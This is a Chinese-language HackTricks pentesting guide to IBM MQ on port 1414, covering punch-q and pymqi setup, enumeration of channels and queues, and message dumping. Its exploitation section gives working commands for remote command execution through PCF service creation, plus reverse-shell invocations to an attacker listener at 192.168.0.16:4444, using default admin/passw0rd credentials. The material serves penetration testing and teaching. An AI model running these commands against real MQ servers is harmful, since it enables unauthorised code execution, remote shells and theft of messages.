# 1414 - Pentesting IBM MQ {{#include ../banners/hacktricks-training.md}} ## 基本信息 IBM MQ 是一种 IBM 技术,用于管理消息队列。与其他 **消息代理** 技术一样,它专门用于接收、存储、处理和分类生产者与消费者之间的信息。 默认情况下,**它暴露 IBM MQ TCP 端口 1414**。有时,HTTP REST API 可以暴露在端口 **9443** 上。指标(Prometheus)也可以通过 TCP 端口 **9157** 访问。 IBM MQ TCP 端口 1414 可用于操作消息、队列、通道……但 **也可用于控制实例**。 IBM 提供了大量技术文档,详见 [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)。 ## 工具 一个建议的易于利用的工具是 **[punch-q](https://github.com/sensepost/punch-q)**,使用 Docker。该工具积极使用 Python 库 `pymqi`。 对于更手动的方法,可以使用 Python 库 **[pymqi](https://github.com/dsuch/pymqi)**。需要 [IBM MQ 依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)。 ### 安装 pymqi 需要安装和加载 **IBM MQ 依赖项**: 1. 在 [https://login.ibm.com/](https://login.ibm.com/) 上创建一个帐户(IBMid)。 2. 从 [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) 下载 IBM MQ 库。对于 Linux x86_64,它是 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。 3. 解压缩 (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。 4. 运行 `sudo ./mqlicense.sh` 接受许可条款。 > 如果您使用的是 Kali Linux,请修改文件 `mqlicense.sh`:删除/注释以下行(在第 105-110 行之间): > > ```bash > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 > fi > ``` 5. 安装这些软件包: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. 然后,临时将 `.so` 文件添加到 LD:`export LD_LIBRARY_PATH=/opt/mqm/lib64`,**在**使用这些依赖项运行其他工具之前。 然后,您可以克隆项目 [**pymqi**](https://github.com/dsuch/pymqi):它包含有趣的代码片段、常量等。或者您可以直接安装库:`pip install pymqi`。 ### 使用 punch-q #### 使用 Docker 简单地使用:`sudo docker run --rm -ti leonjza/punch-q`。 #### 不使用 Docker 克隆项目 [**punch-q**](https://github.com/sensepost/punch-q),然后按照 readme 进行安装(`pip install -r requirements.txt && python3 setup.py install`)。 之后,可以使用 `punch-q` 命令。 ## 枚举 您可以尝试使用 **punch-q** 或 **pymqi** 枚举 **队列管理器名称、用户、通道和队列**。 ### 队列管理器 有时,获取队列管理器名称没有保护: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Channels **punch-q** 使用一个内部(可修改的)词汇表来查找现有的通道。使用示例: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` 有些 IBM MQ 实例接受 **未认证** 的 MQ 请求,因此不需要 `--username / --password`。当然,访问权限也可能有所不同。 一旦我们获得一个通道名称(这里是:`DEV.ADMIN.SVRCONN`),我们就可以枚举所有其他通道。 枚举基本上可以使用 **pymqi** 中的这个代码片段 `code/examples/dis_channels.py` 来完成: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... 但是 **punch-q** 也嵌入了那部分(包含更多信息!)。 它可以通过以下方式启动: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### 队列 有一个代码片段使用 **pymqi** (`dis_queues.py`),但 **punch-q** 允许检索有关队列的更多信息: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## 利用 ### 转储消息 您可以针对队列/通道进行嗅探/转储消息(非破坏性操作)。_示例:_ ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **不要犹豫,迭代所有已识别的队列。** ### 代码执行 > 在继续之前的一些细节:IBM MQ 可以通过多种方式进行控制:MQSC、PCF、控制命令。可以在 [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) 中找到一些一般列表。 > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_可编程命令格式_**) 是我们专注于与实例远程交互的内容。**punch-q** 和进一步的 **pymqi** 是基于 PCF 交互的。 > > 您可以找到 PCF 命令的列表: > > - [来自 PCF 文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats),以及 > - [来自常量](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。 > > 一个有趣的命令是 `MQCMD_CREATE_SERVICE`,其文档可在 [这里](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) 找到。它的参数是指向实例上本地程序的 `StartCommand`(示例:`/bin/sh`)。 > > 文档中还有该命令的警告:_"注意:此命令允许用户以 mqm 权限运行任意命令。如果被授予使用此命令的权限,恶意或粗心的用户可能会定义一个服务,从而损害您的系统或数据,例如,删除重要文件。"_ > > _注意:始终根据 IBM MQ 文档(管理参考),在 `/admin/action/qmgr/{qmgrName}/mqsc` 处还有一个 HTTP 端点,用于运行服务创建的等效 MQSC 命令(`DEFINE SERVICE`)。这一方面在这里尚未覆盖。_ 使用 PCF 进行远程程序执行的服务创建/删除可以通过 **punch-q** 完成: **示例 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > 在 IBM MQ 的日志中,您可以看到命令已成功执行: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` 您还可以枚举机器上现有的程序(这里 `/bin/doesnotexist` ... 不存在): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **请注意,程序启动是异步的。因此,您需要第二个项目来利用该漏洞** **_(反向 shell 的监听器、在不同服务上创建文件、通过网络进行数据外泄 ...)_** **示例 2** 为了轻松获取反向 shell,**punch-q** 还提供了两个反向 shell 有效载荷: - 一个使用 bash - 一个使用 perl _当然,您可以使用 `execute` 命令构建自定义的有效载荷。_ 对于 bash: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` 对于perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### Custom PCF 您可以深入研究 IBM MQ 文档,并直接使用 **pymqi** python 库来测试 **punch-q** 中未实现的特定 PCF 命令。 **示例:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` 如果您无法找到常量名称,可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。 > _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)的示例(十进制 = 73)。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029),可以是`_`(文档:):\* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ## 测试环境 如果您想测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境: 1. 在ibm.com和cloud.ibm.com上拥有一个账户。 2. 创建一个容器化的IBM MQ: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` 默认情况下,身份验证已启用,用户名为 `admin`,密码为 `passw0rd`(环境变量 `MQ_ADMIN_PASSWORD`)。在这里,队列管理器名称已设置为 `MYQUEUEMGR`(变量 `MQ_QMGR_NAME`)。 您应该已经启动并运行 IBM MQ,并且其端口已暴露: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > IBM MQ Docker 镜像的旧版本在: https://hub.docker.com/r/ibmcom/mq/. ## 参考文献 - [mgeeky 的 gist - "实用的 IBM MQ 渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) - [MQ 跳跃 - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq) {{#include ../banners/hacktricks-training.md}}